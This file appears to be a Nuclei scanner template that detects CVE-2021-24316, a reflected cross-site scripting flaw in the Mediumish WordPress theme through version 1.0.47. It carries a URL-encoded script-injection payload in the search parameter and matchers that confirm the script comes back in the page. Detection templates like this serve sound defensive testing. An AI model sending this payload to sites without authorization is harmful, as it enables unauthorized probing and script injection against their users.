id: CVE-2021-24316

info:
  name: An Unauthenticated Reflected XSS & XFS Mediumish theme through 1.0.47 for WordPress
  author: 0x_Akoko
  severity: medium
  description: Mediumish WordPress Theme <= 1.0.47 - Unauthenticated Reflected XSS & XFS.
  reference:
    - https://wpscan.com/vulnerability/57e27de4-58f5-46aa-9b59-809705733b2e
    - https://m0ze.ru/vulnerability/%5B2021-03-14%5D-%5BWordPress%5D-%5BCWE-79%5D-Mediumish-WordPress-Theme-v1.0.47.txt
    - https://www.wowthemes.net/themes/mediumish-wordpress/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24316
    cwe-id: CWE-79
  tags: cve,cve2021,mediumish,xss,wordpress

requests:
  - method: GET
    path:
      - '{{BaseURL}}/?post_type=post&s=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3C/script%3E '

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<script>alert(/{{randstr}}/)</script>"
          - "Sorry, no posts matched your criteria."
        part: body
        condition: and

      - type: word
        words:
          - "text/html"
        part: header